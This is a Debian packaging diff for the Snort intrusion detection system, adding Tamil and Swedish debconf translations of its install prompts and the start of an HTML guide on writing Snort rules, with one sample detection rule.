+#~ "அணுக பயனர் பெயரும் கடவுச் சொல்லும். இதெல்லாம் இல்லை எனில் 'இல்லை'  ஐ தேர்ந்தெடுத்து "
+#~ "வழக்கமான கோப்பு பதியும் ஆதரவுடன் இயக்குக. அல்லது இதை முதலில் சரி செய்க. நீங்கள் "
+#~ "எப்போது வேண்டுமானாலும் உள்நுழைந்து தரவுத்தள வடிவமைப்பை மாற்றிக் கொள்ளலாம். இதற்கு "
+#~ "ஸ்னோர்ட்-பிஜிஎஸ்க்யூஎல் பணித் தொகுப்பை 'dpkg-reconfigure -plow snort-pgsql'  "
+#~ "கட்டளை மூலம் செய்யலாம்."
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "ஸ்னோர்ட் வெற்றிகரமாக துவக்கப் பட வடிவமைக்கப் பட்ட தரவுத்தளம் தேவை. பொதி நிறுவப் பட்ட "
+#~ "*பின்* பின் வரும் கட்டளைகளை இயக்கி உங்களுக்கு தேவையான அமைப்பை உருவாக்கவும்:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "பயனர், புரவலன் மற்றும் தரவுத்தள பெயர்கள் ஆகியவற்றுக்கு சரியான மதிப்புகளை நிரப்புக. "
+#~ "PostgreSQL கடவுச்சொல்லுக்காக உங்களை தூண்டும்."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "எந்த இடை முகத்தில் ஸ்னோர்ட் செவி சாய்க்க வேண்டும் என உள்ளீடு செய்யுங்கள். கிடைக்கக் கூடிய "
+#~ "இடைமுகங்கள்  'ifconfig'இன் 'iplink show'கட்டளையை இயக்குவதால்கிடைக்கப் பெறும். இந்த "
+#~ "மதிப்பு சாதாரணமாக  'eth0'ஆனால் நீங்கள் உங்கள் சூழ்நிலையை பொறுத்துஇதை மாற்ற "
+#~ "விரும்பலாம். நீங்கள் டயல் அப் இணைப்பை பயன்படுத்தினால் 'ppp0' பொருத்தமானதாக இருக்கும். "
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "ஸ்னோர்ட் செவி சாய்க்க வேண்டிய முகவரி வீச்சை உள்ளிடவும்."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "வடிவமைத்த ஐபி முகவரி இல்லாத இடைமுகத்தில் ஸ்னோர்ட்டை நிறுவுவதானால் வரைமுறையற்ற "
+#~ "பாங்கைசெயல் நீக்குங்கள்"
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "பயன்படுத்த வேண்டிய மைஎஸ்க்யூஎல் தரவுத்தள சேவையகத்தின் புரவலன் பெயரை உள்ளிடுக."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "பயன்படுத்த வேண்டிய தரவுத் தளத்தின் பெயரை உள்ளிடுக. "
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "தரவுத் தளத்தை பயன்படுத்த பயனர் பெயரை உள்ளிடுக. "
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "பயன்படுத்த வேண்டிய பிஜிஎஸ்க்யூஎல் தரவுத்தள சேவையகத்தின் புரவலன் பெயரை உள்ளிடுக."
--- snort-2.7.0.orig/debian/po/sv.po
+++ snort-2.7.0/debian/po/sv.po
@@ -0,0 +1,491 @@
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.3.3-1\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-07-21 17:41+0100\n"
+"Last-Translator: Martin Bagge <brother@bsnet.se>\n"
+"Language-Team: Swedish <sv@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "uppstart"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "uppringt"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuell"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002
+#: ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Hur ska Snort starta:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002
+#: ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort can be started during boot, when connecting to the net with pppd or only manually with the /usr/sbin/snort command."
+msgstr "Snort kan startas vid uppstart, n�r uppkoppling mot n�tverk sker (pppd) eller bara n�r du manuellt startat den med /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "P� vilket/vilka gr�nssnitt ska Snort lyssna?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "This value is usually 'eth0', but this may be inappropriate in some network environments; for a dialup connection 'ppp0' might be more appropiate (see the output of '/sbin/ifconfig')."
+msgstr "Detta v�rde �r oftast 'eth0' men det kan vara fel i en del n�tverksmilj�er. F�r uppringd anslutning b�r 'ppp0' anv�ndas (se vidare utdatat fr�n '/sbin/ifconfig')"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Typically, this is the same interface as the 'default route' is on. You can determine which interface is used for this by running '/sbin/route -n' (look for '0.0.0.0')."
+msgstr "Observera att Snort �r normalt konfigurerad att inspektera all trafik som kommer fr�n Internet s� gr�nssnittet du l�gger till h�r �r normalt det samma som din standardgateway �r p�.  Du kan ta fram denna information genom att k�ra \"/sbin/route -n\" (leta efter \"0.0.0.0\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "It is also not uncommon to use an interface with no IP address configured in promiscuous mode. For such cases, select the interface in this system that is physically connected to the network that should be inspected, enable promiscuous mode later on and make sure that the network traffic is sent to this interface (either connected to a 'port mirroring/spanning' port in a switch, to a hub or to a tap)."
+msgstr "Det �r inte helt ovanligt att k�ra Snort p� ett gr�nssnitt utan IP-adress och som �r konfigurerat i l�get promiscuous. Om det �r det du vill, v�lj gr�nssnittet p� detta system som �r fysiskt kopplad till n�tverket du vill inspektera. Aktivera promiscuousl�get efter det och kontrollera att n�tverkstrafiken skickas till detta gr�nssnitt (antingen kopplade till en \"port mirror/spanning\"-port i en switch, en hubb eller en n�tverkstapp)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "You can configure multiple interfaces, just by adding more than one interface name separated by spaces. Each interface can have its own specific configuration."
+msgstr "Du kan konfigurera flera gr�nssnitt h�r, bara att l�gga till fler �n ett gr�nssnittsnamn separerade med blanksteg. Varje gr�nssnitt kan ha sin egen specifika konfiguration."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Ange adressintervallet som Snort ska lyssna p�."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 addresses or 192.168.1.42/32 for just one. Multiple values should be comma-separated (without spaces)."
+msgstr "Du ska anv�nda CIDR-formatet, till exempel 192.168.1.0/24 f�r ett block av 256 IP-adresser eller 192.168.1.42/32 f�r bara en av dem. Ange flera adresser p� samma rad separerade med \",\" (kommatecken), blanksteg �r inte till�tna!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Please note that if Snort is configured to use multiple interfaces, it will use this value as the HOME_NET definition for all of them."
+msgstr "Observera att om du anv�nder flera gr�nssnitt kommer denna definition att anv�ndas som HOME_NET-definition p� alla."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001
+#: ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Ska Snort inaktivera promiscuousl�get p� gr�nssnittet?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001
+#: ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Disabling promiscuous mode means that Snort will only see packets addressed to the interface it is monitoring. Enabling it allows Snort to check every packet that passes the Ethernet segment even if it's a connection between two other computers."
+msgstr "Inaktivering av promiscuousl�get betyder att Snort bara kommer att se paket adresserade till sitt eget gr�nssnitt. Aktivering av det till�ter Snort att unders�ka varje paket som passerar Ethernet-segmentet �ven om det �r anslutning mellan tv� andra datorer."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001
+#: ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ogiltigt gr�nssnitt"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001
+#: ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Snort is trying to use an interface which does not exist or is down. Either it is defaulting inappropriately to 'eth0', or you specified one which is invalid."
+msgstr "Snort f�rs�ker anv�nda en n�tverksanslutning som inte existerar eller som inte �r uppkopplad. Antingen s� har standardv�rdet 'eth0' smugit sig in eller s� har du angivit en felaktig anslutning."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001
+#: ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Ska testordningen f�r reglerna i Snort �ndras til Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001
+#: ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Snort's default testing order is Alert|Pass|Log; if you accept this option, the order will be changed to Pass|Alert|Log, which can make it simpler to use Snort with some packet-filtering tools."
+msgstr "Standardv�rdet f�r Snorts tester �r Alert|Pass|Log. Om du v�ljer detta alternativ s� kommer ordningen att �ndras till Pass|Alert|Log, vilket kan underl�tta anv�ndadet av Snort tillsammans med en del paketfiltreringsverktyg."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Ska dagliga sammandrag skickas via e-post?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "A cron job can be set up to send daily summaries of Snort logs to a selected e-mail address."
+msgstr "Ett cron-jobb kan st�llas in f�r att s�nda dagliga summeringar av Snorts logfiler till en f�rvald e-post-adress."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "V�nligen ange om du vill aktivera denna funktionen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001
+#: ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Vem ska ta emot de dagliga e-postrapporterna?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001
+#: ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Please specify the e-mail address that should receive daily summaries of Snort logs."
+msgstr "V�nligen ange e-post-adressen som ska f� dagliga summeringar av Snorts logfiler."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001
+#: ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Ytterligare alternativ"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001
+#: ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Ange ytterligare inst�llningar som Snort ska anv�nda."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001
+#: ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minsta antalet f�rekomster innan varningar skickas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001
+#: ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Please enter the minimum number of alert occurrences before a given alert is included in the daily statistics."
+msgstr "Ett larm beh�ver dyka upp fler g�nger �n denna siffra f�r att bli inkluderade i den dagliga rapporten."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001
+#: ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort m�ste startas om"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001
+#: ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "As Snort is manually launched, you need to run '/etc/init.d/snort' for the changes to take place."
+msgstr "I och med att Snort k�rs manuellt s� m�ste du k�ra '/etc/init.d/snort' f�r att �ndringarna ska aktiveras."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Fel i inst�llningar"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "The current Snort configuration is invalid and will prevent Snort starting up normally. Please review and correct it."
+msgstr "Nuvarande inst�llningar f�r Snort �r felaktiga och kommer att f�rhindra Snort fr�n att starta p� ett korrekt s�tt. V�nligen kontrollera inst�llningarna och r�tta felen."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -c <file>'."
+msgstr "F�r att hitta fel i Snorts inst�llningar anv�nds kommandot '/usr/sbin/snort -T -c <fil>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Detta system anv�nder en gammal konfigurationsfil"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "This system uses an obsolete configuration file (/etc/snort/snort.common.parameters) which has been automatically converted into the new configuration file format (at /etc/default/snort)."
+msgstr "Ditt system har en gammal konfigurationsfil (/etc/snort/snort.common.parameters) vilken har blivit automatiskt konverterad till en ny konfigurationsfil med nytt format (i /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Please review the new configuration and remove the obsolete one. Until you do this, the initialization script will not use the new configuration and you will not take advantage of the benefits introduced in newer releases."
+msgstr "Kontrollera den nya konfiguration och ta bort den gamla. Fram till att du g�r detta kommer init.d-skriptet inte anv�nda den nya konfigurationen och du kan inte anv�nda de nya f�rdelarna i den nya versionen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Vill du konfigurera en databas f�r snort-mysql att logga till?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid "No database has been set up for Snort to log to. Before continuing, you should make sure you have:"
+msgstr "Ingen databas har st�llts in f�r Snorts loggningsfunktioner. Du m�ste ha f�ljande innan du forts�tter:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - serverns v�rdnamn (servern m�ste till�ta TCP-anslutningar\n"
+"   fr�n denna maskinen.\n"
+" - en databas p� den servern.\n"
+" - ett anv�ndarnamn och ett l�senord f�r att komma �t databasen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid "If some of these requirements are missing, reject this option and run with regular file logging support."
+msgstr "Om du inte har alla uppgifter �nnu kan du hoppa �ver att st�lla in detta nu och anv�nda dig av vanlig loggning till fil."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Database logging can be reconfigured later by running 'dpkg-reconfigure -plow snort-mysql'."
+msgstr "Loggning till databas kan aktiveras vid ett senare tillf�lle genom att k�ra 'dpkg-reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001
+#: ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "V�rdnamn f�r databas:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001
+#: ../snort-pgsql.templates:15001
+msgid "Please specify the host name of a database server that allows incoming connections from this host."
+msgstr "Ange v�rdnan p� databasservern och att den  till�ter inkommande uppkopplingar fr�n denna v�rd."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001
+#: ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Databasnamn:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001
+#: ../snort-pgsql.templates:16001
+msgid "Please specify the name of an existing database to which the database user has write access."
+msgstr "Ange ett namn p� en existerande databas som den h�r anv�ndaren har skrivr�ttigheter till."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001
+#: ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Anv�ndarnamn f�r databas:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001
+#: ../snort-pgsql.templates:17001
+msgid "Please specify a database server username with write access to the database."
+msgstr "Kontrollera att din databasanv�ndare har skrivr�ttigheter till denna databas."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001
+#: ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Ange l�senordet f�r databasuppkopplingen."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001
+#: ../snort-pgsql.templates:18001
+msgid "Please enter the password to use to connect to the Snort Alert database."
+msgstr "Ange ett l�senord f�r uppkoppling mot Snorts larmdatabas."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Databasen m�ste f�rberedas f�r Snort f�re anv�ndning."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "Snort needs a configured database before it can successfully start up. In order to create the structure you need to run the following commands AFTER the package is installed:"
+msgstr "Snort beh�ver en konfigurerad databas innan den kan starta korrekt. F�r att skapa databasstrukturen beh�ver du k�ra f�ljande kommandon EFTER att paketet har installerats:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <anv�ndarnamn> -h <v�rdnamn> -p <databasnamn>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid "Fill in the correct values for the user, host, and database names. MySQL will prompt you for the password."
+msgstr "Ange de korrekta v�rdena f�r anv�ndare, v�rd och databasens namn. MySQL kommer att fr�ga efter l�senordet."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "After you have created the database structure, you will need to start Snort manually."
+msgstr "Efter att du skapat databasstrukturen beh�ver du starta Snort manuellt."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Vill du konfigurera en databas f�r snort-pgsql att logga till?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Database logging can be reconfigured later by running 'dpkg-reconfigure -plow snort-pgsql'."
+msgstr "Loggning till databas kan aktiveras vid ett senare tillf�lle genom att k�ra 'dpkg-reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <anv�ndarnamn> -h <v�rdnamn> -W <databasnamn>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid "Fill in the correct values for the user, host, and database names. PostgreSQL will prompt you for the password."
+msgstr "Ange de korrekta v�rdena f�r anv�ndare, v�rd och databasens namn. PostgreSQL kommer att fr�ga efter l�senordet."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Detta system anv�nder en gammal konfigurationsfil"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "The Snort configuration file (/etc/snort/snort.conf) uses deprecated options no longer available for this Snort release. Snort will not be able to start unless you provide a correct configuration file. Either allow the configuration file to be replaced with the one provided in this package or fix it manually by removing deprecated options."
+msgstr "Din Snort-konfigurationsfil (/etc/snort/snort.conf) anv�nder gamla inst�llningar som inte l�ngre anv�nds i denna Snort-utg�va.  Snort kan inte starta om du har felaktigheter i konfigurationsfilen. Du kan byta ut din konfigurationsfil mot den som f�ljer med detta paket eller l�sa problemet manuellt genom att ta bort de felaktiga inst�llningarna."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "The following deprecated options were found in the configuration file: ${DEP_CONFIG}"
+msgstr "De f�ljande inst�llningarna som hittades i din konfigurationsfil �r inte l�ngre giltiga: ${DEP_CONFIG}"
+
--- snort-2.7.0.orig/debian/my/snort_rules.html
+++ snort-2.7.0/debian/my/snort_rules.html
@@ -0,0 +1,770 @@
+<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
+<html>
+<head>
+   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+   <meta name="Author" content="The Roesch's">
+   <meta name="GENERATOR" content="Mozilla/4.5 [en] (WinNT; I) [Netscape]">
+   <title>Writing Snort Rules</title>
+</head>
+<body>
+
+<center><b><font size=+2>Writing Snort Rules</font></b>
+<br><b><i>How To write Snort rules and keep your sanity</i></b>
+<br><b><i>Current as of version 1.3.1.2</i></b>
+<br><b><i>By Martin Roesch</i></b>
+<br>
+<hr WIDTH="100%"></center>
+<b><i><font size=+1>Contents</font></i></b>
+<ul>
+<li>
+<a href="#Basics">The Basics</a></li>
+
+<li>
+<a href="#rule_header">Rule Headers</a></li>
+
+<ul>
+<li>
+<a href="#rule_actions">Rule Actions</a></li>
+
+<li>
+<a href="#protocols">Protocols</a></li>
+
+<li>
+<a href="#ip_addresses">IP Addresses</a></li>
+
+<li>
+<a href="#port_numbers">Port Numbers</a></li>
+
+<li>
+<a href="#direction_operator">The Direction Operator</a></li>
+</ul>
+
+<li>
+<a href="#rule_options">Rule Options</a></li>
+
+<ul>
+<li>
+<a href="#msg">msg</a></li>
+
+<li>
+<a href="#msg">logto</a></li>
+
+<li>
+<a href="#minfrag">minfrag</a></li>
+
+<li>
+<a href="#ttl">ttl</a></li>
+
+<li>
+<a href="#id">id</a></li>
+
+<li>
+<a href="#dsize">dsize</a></li>
+
+<li>
+<a href="#content">content</a></li>
+
+<li>
+<a href="#offset">offset</a></li>
+
+<li>
+<a href="#depth">depth</a></li>
+
+<li>
+<a href="#flags">flags</a></li>
+
+<li>
+<a href="#seq">seq</a></li>
+
+<li>
+<a href="#ack">ack</a></li>
+
+<li>
+<a href="#itype">itype</a></li>
+
+<li>
+<a href="#icode">icode</a></li>
+
+<li>
+<a href="#session">session</a></li>
+</ul>
+
+<li>
+<a href="#advanced_rule_concepts">Advanced Rule Concepts</a></li>
+
+<ul>
+<li>
+<a href="#includes">Includes</a></li>
+
+<li>
+<a href="#variables">Variables</a></li>
+</ul>
+
+<li>
+<a href="#building_good_rules">Building Good Rules</a></li>
+
+<ul>
+<li>
+<a href="#case_sensitive">Content Rules are Case Sensitive</a></li>
+
+<li>
+<a href="#speed_content">Speeding Up Rules That Have Content Options</a></li>
+</ul>
+</ul>
+
+<hr WIDTH="100%">
+<br><a NAME="Basics"></a>
+<br><b><i><font size=+1>The Basics</font></i></b>
+<blockquote>Snort uses a simple, lightweight rules description language
+that is flexible and quite powerful.&nbsp; There are a number of simple
+guidelines to remember when developing Snort rules.
+<p>The first is that Snort rules must be completely contained on a single
+line, the Snort rule parser doesn't know how to handle rules on multiple
+lines.
+<p>Snort rules are divided into two logical sections, the rule header and
+the rule options.&nbsp; The rule header contains the rule's action, protocol,
+source and destination IP addresses and netmasks, and the source and destination
+ports information.&nbsp; The rule option section contains alert messages
+and information on which parts of the packet should be inspected to determine
+if the rule action should be taken.
+<p>Here is an example rule:
+<p><a NAME="first_example"></a>
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86 a5|";
+msg: "mountd access";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 1 - Sample Snort Rule</center>
+
+<p>The text up to the first parenthesis is the <i>rule header</i> and the
+section enclosed in parenthesis is the <i>rule options</i>.&nbsp; The words
+before the colons in the rule options section are called <i>option keywords</i>.&nbsp;
+Note that the rule options section is not specifically required by any
+rule, they are just used for the sake of making tighter definitions of
+packets to collect or alert on (or drop, for that matter).&nbsp; All of
+the elements in that make up a rule must be true for the indicated rule
+action to be taken.&nbsp; When taken together, the elements can be considered
+to form a logical AND statement.&nbsp; At the same time, the various rules
+in a Snort rules library file can be considered to form a large logical
+OR statement.&nbsp; Let's begin by talking about the rule header section.</blockquote>
+<a NAME="rule_header"></a>
+<br><b><i><font size=+1>Rule Headers</font></i></b>
+<blockquote><a NAME="rule_actions"></a><b>Rule Actions</b>:
+<p>The rule header contains the information that defines the "who, where,
+and what" of a packet, as well as what to do in the event that a packet
+with all the attributes indicated in the rule should show up.&nbsp; The
+first item in a rule is the <i>rule action</i>.&nbsp; The rule action tells
+Snort what to do when it finds a packet that matches the rule criteria.&nbsp;
+There are three available actions in Snort, alert, log, and pass.
+<ul>
+<li>
+alert - generate an alert using the selected alert method, and then log
+the packet</li>
+
+<li>
+log - log the packet</li>
+
+<li>
+pass - drop (ignore) the packet</li>
+</ul>
+<a NAME="protocols"></a><b>Protocols</b>:
+<p>The next field in a rule is the protocol.&nbsp; There are three IP protocols
+that Snort currently analyzes for suspicious behavior, tcp, udp, and icmp.&nbsp;
+In the future there may be more, such as ARP, IGRP, GRE, OSPF, RIP, IPX,
+etc.</blockquote>
+
+<blockquote>
+<ul>
+<li>
+tcp</li>
+
+<li>
+udp</li>
+
+<li>
+icmp</li>
+</ul>
+<a NAME="ip_addresses"></a><b>IP Addresses</b>:
+<p>The next portion of the rule header deals with the IP address and port
+information for a given rule.&nbsp; The keyword "any" may be used to define
+any address.&nbsp; Snort does not have a mechanism to provide host name
+lookup for the IP address fields in the rules file.&nbsp; The addresses
+are formed by a straight numeric IP address and a <a href="http://public.pacbell.net/dedicated/cidr.html">CIDR</a>
+block.&nbsp; The CIDR block indicates the netmask that should be applied
+to the rule's address and any incoming packets that are tested against
+the rule.&nbsp; A CIDR block mask of /24 indicates a Class C network, /16
+a Class B network, and /32 indicates a specific machine address.&nbsp;
+For example, the address/CIDR combination 192.168.1.0/24 would signify
+the block of addresses from 192.168.1.1 to 192.168.1.255.&nbsp; Any rule
+that used this designation for, say, the destination address would match
+on any address in that range.&nbsp; The CIDR designations give us a nice
+short-hand way to designate large address spaces with just a few characters.
+<p>In <a href="#first_example">Figure 1</a>, the source IP address was
+set to match for any computer talking, and the destination address was
+set to match on the 192.168.1.0 Class C network.
+<p>There is an operator that can be applied to IP addresses, the <i>negation
+operator</i>.&nbsp; This operator tells Snort to match any IP address <b><i>except
+</i></b>the
+one indicated by the listed IP address.&nbsp; The negation operator is
